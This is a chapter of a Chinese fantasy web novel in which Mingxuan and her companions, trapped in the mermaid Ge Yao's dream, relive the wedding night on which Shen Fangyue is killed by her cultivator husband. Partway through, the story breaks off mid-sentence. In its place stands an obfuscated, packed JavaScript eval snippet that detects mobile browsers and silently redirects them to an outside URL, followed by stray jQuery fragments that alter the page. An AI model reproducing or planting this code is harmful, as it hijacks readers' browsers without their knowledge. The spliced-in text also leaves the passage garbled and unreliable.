“我要沈芳月的尸身！”


    明暄皱眉，“什么？”


    荒铃愣了一下，“我不认识你说的这个人。”


    “她是一个女人，一个普通的凡人女子。我要她的尸身。”


    戈遥再次重复了一遍，她的面容忽而扭曲起来，如同水波，床榻被水浸湿，滴滴答答。


    意识到她要化水逃跑，明暄揽着众人退开。


    “小心！”


    一声厉喝，明暄以手按地，以溯水宫为中心，转瞬间生起一个巨大的赤色困阵。


    一小股水流被那炽热灵气烫的发出哀嚎。


    戈遥脸色惨白，重新倒在了床上。


    明暄正欲上前。


    刹那，她飞快地捂住脸，手指用力，竟是从额头上又生生拔出一片鳞。


    血液迸溅到明暄的鞋面。


    “你不是要真相吗？那就给你看看。”


    少女幽冷尖锐的声音似乎要刺破耳膜。


    眼前一片混沌。


    “小翠，小翠。”


    有人在唤陌生的名字。


    日光强烈地照射在眼皮上，明暄恍然意识到，自己不知何时闭上了双眼。


    她睁开眼，入目是一个陌生的、古色古香的房间。


    屋内摆设精致，熏香淡淡，门口到处挂着大红的“囍”字。


    她此时正站在窗边，手里拿着修剪花草的剪刀。


    面对她说话的，是一个十三四岁的少女，面庞稚嫩，梳着双丫鬓，瘦瘦弱弱，仿佛风一吹就能倒。


    “看什么呢？嬷嬷找你干活呢。”那少女支着腰，“今日可是小姐的大喜日子，你手脚可得麻利点儿。”


    明暄放下了剪刀，面露难色，“不知是哪位嬷嬷？”


    少女拉过她的手，果断道：“我带你去！”


    在去找嬷嬷干活的路上，穿过大半个府，到处都是喜庆的红色，许多丫鬟小厮在忙碌，个个脸上带笑，非常吉祥。


    明暄有意打探了几句，那名叫小红的丫鬟非常单纯，几句就把信息全都透出来了。


    她们在的地方是庄古道首富、沈家老爷的府邸。


    沈老爷和其发妻情深意浓，在此地传为佳话，他们膝下唯一的女儿，沈家大小姐，前段时间在野外遇险，被一白衣书生所救。


    沈大小姐对那书生一见倾心，书生家中呢，也恰巧无父无母无牵无挂，甘愿溺入温柔乡。


    沈家人对于书生十分满意，两家很快定下亲事。


    今日，便是书生入赘沈府之日。


    她们身为小姐院子里的丫鬟，自然也是忙的不可开交。


    庄古道是一座烟火气很浓的城市，地处偏远，魔族很少来犯。


    这里的百姓生活也更加古朴、平凡。


    明暄听完小红所说，“小姐闺名叫沈芳月？”


    小红望她一眼，奇怪道：“你怎么回事，连小姐名字都不记得了？”


    明暄挠了挠头，笑着说：“可能是天太热了，感觉这两日人都晕乎乎的。”


    小红惊道：“你莫不是中暑了吧？小姐前些日子给咱们分了些冰，你没用么？”


    明暄和她随意谈了几句，话题很快岔开。


    结合戈遥的话，这里似乎是戈遥刻意塑造出来的地方。


    她们一直忙活到下午，小红回房休息了，明暄被嬷嬷通知，小姐要她去服侍。


    去小姐院子的路上，一阵凌乱的脚步声在身后响起。


    在这里，修为尽失，一切都需小心。


    明暄转身，却见是一个模样鬼祟的中年小厮，和……一只黄狗？


    不过，这一人与狗越看越眼熟。


    “明姐姐！我是荒铃！”


    那小厮发出粗犷的声音喊道。


    明暄：“？”


    狗也汪汪叫了两声，从小厮的怀里跳下来，围着明暄打转，尾巴摇得飞快。


    明暄突然有了一个不好的预感。


    当时在场的还有谁来着？


    这狗……


    荒铃擦了两下自己的短短胡须，中气十足地说：“子桑师弟变成小狗了！”


    伴随着相认，明暄眼里的小厮和狗，终于成功地长出了荒铃和子桑弦的脸。


    这下彻底能认出来了。


    幸好自己是个丫鬟。


    明暄心想，戈遥也算对她手下留情了。


    明暄道：“戈遥说的沈芳月，就是这家的大小姐。”


    荒铃点点头，“这些信息，我和子桑师弟都互通过了。”


    明暄：“那就好。”


    她蹲下身，将一直挠自己腿的小狗抱起来，在怀里呼噜了几下。


    “走吧，去看看那个沈小姐。”


    戈遥费尽心思把她们带入这个梦境，却也不伤她们，定然是有些别的事情。


    沈府大小姐的院子非常气派。


    明暄带着一人一狗左弯右绕，正要去敲门，被一个石子砸中脑袋了。


    小狗对着暗处愤怒地呲了呲牙，明暄摸了摸起了个大包的额头。


    “戈遥？”


    树荫下，戈遥慢慢走了出来。


    她的长相没有什么变化，皮肤白皙，个子娇小，身上也穿着古朴的衣袍。


    阴影投射在她脸上。


    她说：“在我小时候，沈芳月救过我。”


    进了屋子，大小姐正在镜子前试穿嫁衣，戴头饰。


    她生了一双含情目，唇瓣嫣红，好美。


    听到脚步声，扭头看到自己的丫鬟小翠和好友戈遥一同走进来，她顿时笑开。


    “戈遥！我就知道你会来！”


    戈遥手指动了动，最终还是走上前，给了沈芳月一个拥抱。


    沈芳月又戴上发簪，问她：“这个好看吗？这个呢？”


    戈遥扯起难看的微笑，“好看。”


    可她僵硬的表情，生涩的话语，沈芳月似乎都感觉不到。


    她就像在演独角戏，在房间里转了一圈。


    “戈遥，我好幸福啊，元凯是我最爱的人，我就要和他成亲了，我好幸福啊。”


    戈遥捏紧了拳头。


    沈芳月忽然变了表情，皱起眉毛，十分不解。


    “你不用再劝我了。他是修士又如何？只是来此历练又如何？我喜欢他，我认定是他了！”


    “他也同我约定好，日后会带我一起去仙山的，我们要做一对神仙眷侣。”


    “为什么，你总是对他有那么多偏见呢？难道是因为你是鲛人——”


    沈芳月顿住了。


    片刻后，她自知失言，软下了声音，轻轻抱住了戈遥。


    “你相信我啊，我可是很聪明的。我不害怕去仙山，更不害怕爱上一个修士。而且，他也会护住我。”


    也许是戈遥松口了，沈芳月笑了起来。


    “戈遥，我可不是普通的闺阁小姐。不然，小时候怎么会救下你呢？你要相信我呀。”


    她说了好多个“你要相信我”。


    从沈家小姐的房间出来。


    荒铃和小狗等在外面，听明暄把所见说了。


    荒铃想到了什么，脸色一白，“你说要沈芳月的尸身……难道……”


    戈遥看了她一眼，冷笑，“对，她死了。”


    明暄问：“当时你不想让她嫁给那个书生？为什么？”


    戈遥冷哼：“那个书生，根本就是一个仙门修士假扮的，而她只是一个凡人女子。”


    “我当时……只是纯粹怕她受伤。”


    太阳西沉，时间很快来到了晚上。


    拜堂吉时，她们混入了宾客中。


    红轿子在长街上走了一圈，最后接回了家中。


    戴着红盖头的新娘子下轿，悄悄掀开盖头看了人群中的戈遥一眼，对她笑了笑。


    明暄


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15193769|165614||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    眉头蹙起，心中的不安感愈发浓重。


    小狗焦躁地低吠了两声。


    接着，沈芳月一步步走向大堂。


    里头站着一个身材高大的男子，穿着精致的婚服，披红在身，好生风光。


    站在门外，明暄看不清那男子的面孔。


    她往前迈步，却发现被无形的东西阻挡住了。


    荒铃也尝试迈步，依旧是被挡住。


    小狗急的直打转。


    戈遥道：“这是我的回忆，也是我的梦。我当时并未进去观礼，所以，你们也进不去。”


    当年的戈遥，一直停留在沈府外。


    直到洞房花烛时。


    三人一狗并排蹲在门外，望着月光。


    明暄道：“那书生是个什么人？你对他了解多少？”


    戈遥扭头看她，似乎在惊讶她真要为自己调查。


    “他叫陆元凯。和沈芳月认识，是在一个春天。”


    那时沈芳月跟随父母去郊外上香，路途中遇到了土匪，她摔落山崖，被陆元凯给救了。


    陆元凯当时自称要科考，沈芳月获救之后，沈家就开始资助他。


    一来二去，沈芳月爱上了陆元凯，陆元凯主动提亲，两家定下婚约。


    至于修士的真实身份，是陆元凯有一次险些走火入魔，被沈芳月发现，这才同她坦白的。


    戈遥磨了磨牙。


    “现在想来，他分明是临近突破，却不抗雷劫，想另辟蹊径，这才找到……”


    “救命啊！杀人了！！”


    沈府突然爆发出凄厉的尖叫。


    几人立刻站起来，对视一眼，拔腿径直朝着婚房跑。


    沈府乱成了一锅粥。


    宾客四散而逃，混乱中，明暄发现尖叫之人十分熟悉。


    小红。


    她今夜被带在小姐身边服侍。


    发出那声尖叫后，小红似乎就血尽而亡了。


    她倒在庭院中，少了一条胳膊，身下血流如注，眼睛睁得大大的，望着天上一轮圆月，死不瞑目。


    今天本来该是个好日子。


    明暄喉间一紧。


    有什么扯了扯她的裤脚，她低头，是小狗在拉扯着她。


    她定了定心，抱起小狗冲进婚房。


    荒铃唇色惨白，放下了救助小红的念头，踉跄着跟上。


    一颗珍珠滚落到明暄的脚边。


    那是沈芳月白日试戴过的头冠上的。


    婚房里，戈遥已经站在了那里，她瘦小的背影像个年幼的孩子。


    好喜庆，满目的红色，暖黄的烛灯烛灯照得她皮肤也红红的，眼睛红的要滴血。


    婚房的地上，身穿嫁衣的新娘子，盖头散乱，满头珠翠滚落一地。


    她倒在床上，胸腹一道剑痕，血似烛油，腰上的双鱼玉佩滑落在床边，鲜艳的红穗子湿哒哒。


    几乎分辨不出，床榻本就是红的，还是她的血染红的。


    大开的窗口，灌进细密的夏雨。


    喜服男人垂下头，用喜帕细细擦净了剑上的血。


    接着，窗外雷声一震。


    男人似乎一惊。


    明暄的眼前，出现了一道模糊的影子。


    十年前的戈遥，从这道模糊的影子中冲出来，紧紧抱住了沈芳月。


    她浑身颤栗。


    她呢喃：“我能救你……我能救你……”


    雷声阵阵，掩盖住了她的话语。


    她脸上鳞片丛生，亮蓝色一时盖住了喜红。


    “噗嗤——”


    她拔下一片鳞，血肉飞溅。


    蓝色的鳞片按在沈芳月的心口，慢慢消融。


    鲛人的护心鳞，灵气极盛。


    男人背影一晃，将喜帕从手中丢弃，再次握紧了剑柄。


    荒铃瞪大了眼睛。


    男人就要转身，露出真容——